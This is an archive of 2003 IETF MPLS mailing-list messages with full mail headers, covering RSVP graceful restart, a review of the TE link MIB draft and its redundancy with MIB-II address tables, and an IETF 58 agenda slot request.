Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA11462
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 20:51:53 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplot03067
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 00:52:03 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplot02940;
	Thu, 23 Oct 2003 00:51:59 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplos25216
	for mpls-outgoing; Thu, 23 Oct 2003 00:32:20 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplos25206
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 00:32:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplor20200
	for <mpls@uu.net>; Thu, 23 Oct 2003 00:29:57 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplor01193
	for <mpls@uu.net>; Thu, 23 Oct 2003 00:29:56 GMT
Received: from sj-iport-5.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQplor01178
	for <mpls@uu.net>; Thu, 23 Oct 2003 00:29:56 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-5.cisco.com with ESMTP; 22 Oct 2003 17:32:01 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9N0TqFH019694
	for <mpls@uu.net>; Wed, 22 Oct 2003 20:29:52 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ76451;
	Wed, 22 Oct 2003 20:29:50 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9N0ToQ06148 for mpls@uu.net; Wed, 22 Oct 2003 20:29:50 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplor25037
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 00:27:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplor22707
	for <mpls@uu.net>; Thu, 23 Oct 2003 00:21:36 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplor03138
	for <mpls@uu.net>; Thu, 23 Oct 2003 00:21:35 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQplor03119
	for <mpls@uu.net>; Thu, 23 Oct 2003 00:21:35 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 22 Oct 2003 17:22:35 -0700
Received: from mira-kan-a.cisco.com (IDENT:mirapoint@mira-kan-a.cisco.com [161.44.201.17])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9N0LUjP011385;
	Wed, 22 Oct 2003 17:21:31 -0700 (PDT)
Received: from cisco.com (che-vpn-cluster-1-124.cisco.com [10.86.240.124])
	by mira-kan-a.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AAR67959;
	Wed, 22 Oct 2003 17:21:28 -0700 (PDT)
Message-ID: <3F971F07.1010505@cisco.com>
Date: Wed, 22 Oct 2003 20:21:27 -0400
From: Reshad Rahman <rrahman@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
CC: "'ancaz@cisco.com'" <ancaz@cisco.com>,
        "'jisrar@cisco.com'" <jisrar@cisco.com>, "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
Subject: Re: RSVP Graceful Restart
References: <C87E5A01714C7840B92CDED9E79329CA0117D05D@leopard.seabridge.co.il>
In-Reply-To: <C87E5A01714C7840B92CDED9E79329CA0117D05D@leopard.seabridge.co.il>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Nurit Sprecher wrote:

>Hi,
>I did not have the chance yet to read the draft, but I really believe there
>is a need to extend the general description in the GMPL document. 
>I hope that you new definition for the ERO recovery would help also to let
>the Ingress LER to recover.
>

Hi,

Yes, this will also let the ingress recover the ERO.

>
>One more thing that I would like to see in the extension, is how graceful
>restart works together with Fast Reroute Protection. Specifically the
>problematic points are the MP and the PLR. Do you have any intention to
>cover it as well?
>
Regarding GR + FRR, we currently believe that an informational section 
would be sufficient, i.e. no need for protocol extensions.

Regards,
Reshad.

>
>Thanks in advance, Nurit.
>  
>



From owner-mpls@UU.NET  Wed Oct 22 22:30:17 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14607
	for <mpls-archive@lists.ietf.org>; Wed, 22 Oct 2003 22:30:17 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplpa20919
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 02:30:27 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplpa20718;
	Thu, 23 Oct 2003 02:30:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQploy10325
	for mpls-outgoing; Thu, 23 Oct 2003 02:11:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQploy10320
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 02:11:39 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQploy01919
	for <mpls@uu.net>; Thu, 23 Oct 2003 02:10:36 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQploy23159
	for <mpls@uu.net>; Thu, 23 Oct 2003 02:10:35 GMT
Received: from sj-iport-4.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQploy23123
	for <mpls@uu.net>; Thu, 23 Oct 2003 02:10:34 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9N2ARFH002126
	for <mpls@uu.net>; Wed, 22 Oct 2003 22:10:27 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ81049;
	Wed, 22 Oct 2003 22:10:26 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9N2AQ009465 for mpls@uu.net; Wed, 22 Oct 2003 22:10:26 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQploy09922
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 02:09:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQploy26334
	for <mpls@uu.net>; Thu, 23 Oct 2003 02:07:40 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQploy29765
	for <mpls@uu.net>; Thu, 23 Oct 2003 02:07:39 GMT
Received: from sj-iport-3.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQploy29740
	for <mpls@uu.net>; Thu, 23 Oct 2003 02:07:39 GMT
Received: from cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 22 Oct 2003 19:08:40 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9N27YQY003349;
	Wed, 22 Oct 2003 19:07:35 -0700 (PDT)
Received: from tnadeauw2k02 (dhcp-64-104-1-36.cisco.com [64.104.1.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ80931;
	Wed, 22 Oct 2003 22:07:32 -0400 (EDT)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Dave Thaler'" <dthaler@windows.microsoft.com>,
        "'Martin Dubuc'" <dubuc.consulting@rogers.com>
Cc: "'Bert Wijnen'" <bwijnen@lucent.com>,
        "'Sudheer Dharanikota'" <sudheer@ieee.org>,
        "'Jonathan Lang'" <jplang@ieee.org>, "'Loa Andersson'" <loa@pi.se>,
        "'Mpls \(E-mail\)'" <mpls@UU.NET>
Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
Date: Wed, 22 Oct 2003 22:07:32 -0400
Organization: Cisco Systems, inc.
Message-ID: <000c01c3990a$6dbc3740$24016840@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <C9588551DE135A41AA2626CB64530937058FED19@WIN-MSG-10.wingroup.windeploy.ntdev.microsoft.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: Dave Thaler [mailto:dthaler@windows.microsoft.com] 
>Sent: Wednesday, October 22, 2003 6:28 PM
>To: tnadeau@cisco.com; Martin Dubuc
>Cc: Bert Wijnen; Sudheer Dharanikota; Jonathan Lang; Loa 
>Andersson; Mpls (E-mail)
>Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>
>
>Going back to RFC1213...
>   (5)  To avoid redundant variables, it was required that no
>        object be included that can be derived from others in the
>        MIB.
>[...]
>   MIB-II, like its predecessor, the Internet-standard MIB, contains
>   only essential elements.  There is no need to allow individual
>   objects to be optional.  Rather, the objects are arranged into the
>   following groups:
>      - System
>      - Interfaces
>      - Address Translation (deprecated)
>      - IP
>      - ICMP
>      - TCP
>      - UDP
>      - EGP
>      - Transmission
>      - SNMP
>
>   These groups are the basic unit of conformance: This method is as
>   follows: if the semantics of a group is applicable to an
>   implementation, then it must implement all objects in that group.
>   For example, an implementation must implement the EGP group if and
>   only if it implements the EGP.
>
>
>It sounds like you're saying you are interested in a scenario where
>a device has IP addresses but is not compliant with RFC 1213
>which requires that it implement both the ipAddrTable and the ifTable.
>Is that correct?

	Yes.

	--Tom



>-Dave
>
>> -----Original Message-----
>> From: Thomas D. Nadeau [mailto:tnadeau@cisco.com]
>> Sent: Wednesday, October 22, 2003 3:23 PM
>> To: Dave Thaler; 'Martin Dubuc'
>> Cc: 'Bert Wijnen'; 'Sudheer Dharanikota'; 'Jonathan Lang'; 'Loa
>> Andersson'; 'Mpls (E-mail)'
>> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> 
>> 
>> 	Because it is possible that the others are not
>> implemented.  Because of the minimal duplication,
>> this seems reasonable.
>> 
>> 	--Tom
>> 
>> 
>> >-----Original Message-----
>> >From: Dave Thaler [mailto:dthaler@windows.microsoft.com]
>> >Sent: Wednesday, October 22, 2003 2:02 PM
>> >To: Martin Dubuc
>> >Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; Jonathan
>> >Lang; Loa Andersson; Mpls (E-mail)
>> >Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> >
>> >
>> >Great.  In that case why have redundant objects at all?
>> >
>> >-Dave
>> >
>> >> -----Original Message-----
>> >> From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
>> >> Sent: Wednesday, October 22, 2003 4:32 AM
>> >> To: Dave Thaler
>> >> Cc: Thomas Nadeau; Bert Wijnen; Sudheer Dharanikota; 
>Jonathan Lang;
>> >> Loa Andersson; Mpls (E-mail)
>> >> Subject: Re: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> >>
>> >> Dave,
>> >>
>> >> The TE link MIB makes extensive use of the interface table. Our
>> >> specification relies on this part of MIB-II.
>> >>
>> >> I will add text in the DESCIRPTION clause to emphasize the
>> >> relationship between teLinkLocalIpAddr and ipAddrTable.
>> >>
>> >> Martin
>> >>
>> >> ----- Original Message -----
>> >> From: "Dave Thaler" <dthaler@windows.microsoft.com>
>> >> To: "Martin Dubuc" <dubuc.consulting@rogers.com>
>> >> Cc: "Thomas Nadeau" <tnadeau@cisco.com>; "Bert Wijnen"
>> >> <bwijnen@lucent.com>; "Sudheer Dharanikota" <sudheer@ieee.org>;
>> >> "Jonathan Lang" <jplang@ieee.org>;
>> >> "Loa Andersson" <loa@pi.se>
>> >> Sent: Tuesday, October 21, 2003 4:12 PM
>> >> Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> >>
>> >>
>> >> > -----Original Message-----
>> >> > From: Martin Dubuc [mailto:dubuc.consulting@rogers.com]
>> >> [...]
>> >> > ----- Original Message -----
>> >> > From: "Dave Thaler" <dthaler@windows.microsoft.com>
>> >> > To: <tnadeau@cisco.com>; "Martin Dubuc"
>> >> > <dubuc.consulting@rogers.com>; "Wijnen, Bert (Bert)"
>> >> > <bwijnen@lucent.com>; <sudheer@ieee.org>; <jplang@ieee.org>
>> >> > Sent: Monday, October 06, 2003 10:11 PM
>> >> > Subject: RE: DT's review of draft-ietf-mpls-telink-mib-04.txt
>> >> >
>> >> >
>> >> > Sorry for the delay, but I've been reading a bunch of relevant
>> >> documents
>> >> > so I can help resolve the issue.  Besides the 
>mpls-telink-mib and
>> >> > the tewg-mib, I've now read all of the following in entirety:
>> >> >
>> >> > [RFC2702] "Requirements for Traffic Engineering Over MPLS"
>> >[OSPF-TE]
>> >
>> >> > "Traffic Engineering Extensions to OSPF Version 2" [LSP-HIER]
>"LSP
>> >> > Hierarchy with Generalized MPLS TE" [BUNDLE] "Link
>> >Bundling in MPLS
>> >> > Traffic Engineering" [GMPLS-ROUTING] "Routing Extensions
>> >in Support
>> >> > of Generalized MPLS"
>> >> >
>> >> > as well as some portions of other documents such as
>> >> > [MPLS-TE-STD-MIB] and [GMPLS-ARCH].
>> >> >
>> >> > Even after all that, the address model was not really
>> >cleared up for
>> >> me.
>> >> > [LSP-HIER], [OSPF-TE], and [BUNDLE] all contain language
>> >related to
>> >> > the local and remote IP address.
>> >> >
>> >> > I'm back to my original question about:
>> >> > > it is unclear whether the IP addresses are those used for
>> >> > > encapsulation (i.e. like MAC addresses from the point of view
>of
>> >> > > the teLink interface), or those assigned to the inside. I'm
>> >> > > assuming the former, since the latter would definitely be
>> >> > redundant
>> >> > > with the inet address table like on any other interface.
>> >> >
>> >> > In the email below I had assumed the former.  After reading the
>> >> > documents above, I'm more inclined to believe it's the latter.
>Can
>> >> > someone confirm this?  Put another way:
>> >> >
>> >> > Q: If you look in the ipAddrTable for the corresponding 
>entry for
>> >> > the
>> >> IP
>> >> > address in a teLinkLocalIpAddr object on a numbered TE
>> >link, what is
>> >> the
>> >> > value of ipAdEntIfIndex?  What is the relationship of that
>> >interface
>> >> to
>> >> > the TE link?
>> >> > (e.g. in the example on page 12, is it the ifIndex of the mpls
>> >> > interface, the teLink interface, or the opticalTransport
>interface?
>> >
>> >> > Previously I had assumed the answer would be the 
>opticalTransport
>> >> > interface, but
>> >> now
>> >> > I'm more inclined to believe it's one of the others in 
>which case
>> >> > Thomas' summary of my misunderstanding below would be more or
>less
>> >> > accurate. In any case, none of the documents listed above give a
>> >> > clear answer to this question.)
>> >> >
>> >> > [Martin] You are right, it is the latter. The IP address is the
>IP
>> >> address
>> >> > of
>> >> > the teLink interface. It is redundant with ipAddrTable,
>> >but we would
>> >> like
>> >> > not
>> >> > to have to rely on the presence of ipAddrTable to get
>> >access to this
>> >
>> >> > information.
>> >>
>> >> Martin, thanks much for the confirmation.  I'm curious about
>> >your last
>> >
>> >> statement though.  Are you concerned about implementing 
>this MIB on
>> >> systems which do not implement MIB-II?
>> >>
>> >> If you do need redundant objects for some reason, then it would be
>> >> good for the DESCRIPTION clause to mention that it is in fact
>> >> redundant, so implementers can ensure both objects have the same
>> >> value.
>> >>
>> >> -Dave
>> >
>



From owner-mpls@UU.NET  Thu Oct 23 08:57:51 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA16666
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 08:57:50 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqp26442
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 12:57:59 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqp26151;
	Thu, 23 Oct 2003 12:57:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqo18078
	for mpls-outgoing; Thu, 23 Oct 2003 12:39:23 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQplqo18071
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 12:39:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplqo00433
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:37:53 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqo10063
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:37:52 GMT
Received: from sj-iport-4.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQplqo10054
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:37:52 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9NCbkN2002018
	for <mpls@uu.net>; Thu, 23 Oct 2003 08:37:48 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ98591;
	Thu, 23 Oct 2003 08:37:45 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NCbjM14185 for mpls@uu.net; Thu, 23 Oct 2003 08:37:45 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQplqo18005
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 12:37:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQplqo06970
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:35:26 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqo27696
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:35:26 GMT
Received: from sj-iport-4.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-4.cisco.com [171.68.10.86])
	id QQplqo27685
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:35:25 GMT
Received: from wells.cisco.com (wells.cisco.com [171.71.177.223])
	by sj-core-4.cisco.com (8.12.6/8.12.6) with ESMTP id h9NCZMbd023833;
	Thu, 23 Oct 2003 05:35:22 -0700 (PDT)
Received: from jvasseur-w2k01.cisco.com (sjc-vpn2-199.cisco.com [10.21.112.199]) by wells.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id FAA26297; Thu, 23 Oct 2003 05:35:21 -0700 (PDT)
Message-Id: <4.3.2.7.2.20031023083411.070829b8@wells.cisco.com>
X-Sender: jvasseur@wells.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 23 Oct 2003 08:35:20 -0400
To: Loa Andersson <loa@pi.se>
From: Jean Philippe Vasseur <jvasseur@cisco.com>
Subject: Re: tentative agenda for Minneapolis
Cc: mpls wg <mpls@UU.NET>, curtis@workhorse.ficticious.org.cnri.reston.va.us,
        denver@nitrous.net, mrm@packetshovel.net, swallow@cisco.com
In-Reply-To: <3F940E2B.10406@pi.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Loa,

At 06:32 PM 10/20/2003 +0200, Loa Andersson wrote:
>All,
>
>I've started to build the IETF58 mpls agenda at:
>
>http://urax.utfors.net/~loa/mpls-agenda.htm
>
>Note this is so far just a collection of the agenda slots
>requests. If your request is not there, ping me again.

Could you please give us a 5mn slot for 
draft-ietf-mpls-soft-preemption-01.txt ?

Thanks,

JP.

>/Loa
>
>--
>Loa Andersson
>
>Mobile          +46 739 81 21 64
>Email           loa@pi.se
>
>
>



From owner-mpls@UU.NET  Thu Oct 23 09:06:53 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA16992
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 09:06:53 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqq18192
	for <mpls-archive@lists.ietf.org>; Thu, 23 Oct 2003 13:07:01 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQplqq17988;
	Thu, 23 Oct 2003 13:06:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQplqp19364
	for mpls-outgoing; Thu, 23 Oct 2003 12:48:28 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplqp19355
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 12:48:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplqp11350
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:47:59 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqp21329
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:47:59 GMT
Received: from sj-iport-5.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQplqp21319
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:47:58 GMT
Received: from cisco.com (64.102.124.13)
  by sj-iport-5.cisco.com with ESMTP; 23 Oct 2003 05:50:13 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9NClrN0003647
	for <mpls@uu.net>; Thu, 23 Oct 2003 08:47:54 -0400 (EDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADJ99119;
	Thu, 23 Oct 2003 08:47:52 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9NClqX14556 for mpls@uu.net; Thu, 23 Oct 2003 08:47:52 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQplqp19164
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 23 Oct 2003 12:46:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQplqp06218
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:45:18 GMT
From: Internet-Drafts@ietf.org
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQplqp18813
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:45:17 GMT
Received: from i2kc02-ukbr.domain1.systemhost.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [217.32.164.150])
	id QQplqp18794
	for <mpls@uu.net>; Thu, 23 Oct 2003 12:45:16 GMT
Received: from i2kc01-ukbr.domain1.systemhost.net ([217.32.164.169]) by i2kc02-ukbr.domain1.systemhost.net with Microsoft SMTPSVC(5.0.2195.6713);
	 Thu, 23 Oct 2003 13:45:15 +0100
Received: from i2kc01-ukbr.domain1.systemhost.net ([10.216.123.41]) by i2kc01-ukbr.domain1.systemhost.net with Microsoft SMTPSVC(5.0.2195.6713);
	 Thu, 23 Oct 2003 13:45:15 +0100
Received: From i2kv02-ukbr.domain1.systemhost.net ([217.32.164.185]) by i2kc01-ukbr.domain1.systemhost.net (WebShield SMTP v4.5 MR1a);
	id 1066913108432; Thu, 23 Oct 2003 13:45:08 +0100
Received: from mail pickup service by i2kv02-ukbr.domain1.systemhost.net with Microsoft SMTPSVC;
	 Thu, 23 Oct 2003 13:45:03 +0100
Received: from asgard.ietf.org ([132.151.6.40]) by smtp2.smtp.bt.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Thu, 23 Oct 2003 00:07:47 +0100
Received: from majordomo by asgard.ietf.org with local (Exim 4.14)
	id 1ACRYj-0003fv-O3
	for ietf-announce-list@asgard.ietf.org; Wed, 22 Oct 2003 18:34:29 -0400
Received: from ietf.org ([10.27.2.28])
	by asgard.ietf.org with esmtp (Exim 4.14)
	id 1ACRUI-0003dN-Ad
	for all-ietf@asgard.ietf.org; Wed, 22 Oct 2003 18:29:54 -0400
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA01983;
	Wed, 22 Oct 2003 18:29:43 -0400 (EDT)
Message-Id: <200310222229.SAA01983@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: graham.travers@bt.com, martin.iddon@bt.com, mo.valli@bt.com,
        paul.2.williamson@bt.com, robert.d.temple@bt.com,
        heidi.lofthouse@bt.com, matthew.ford@bt.com, paul.bennett@bt.com
Cc: mpls@UU.NET
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-lai-mpls-ldp-hist-mib-00.txt
Date: Wed, 22 Oct 2003 18:29:41 -0400
X-OriginalArrivalTime: 22 Oct 2003 23:07:48.0562 (UTC) FILETIME=[4F8BFB20:01C398F1]
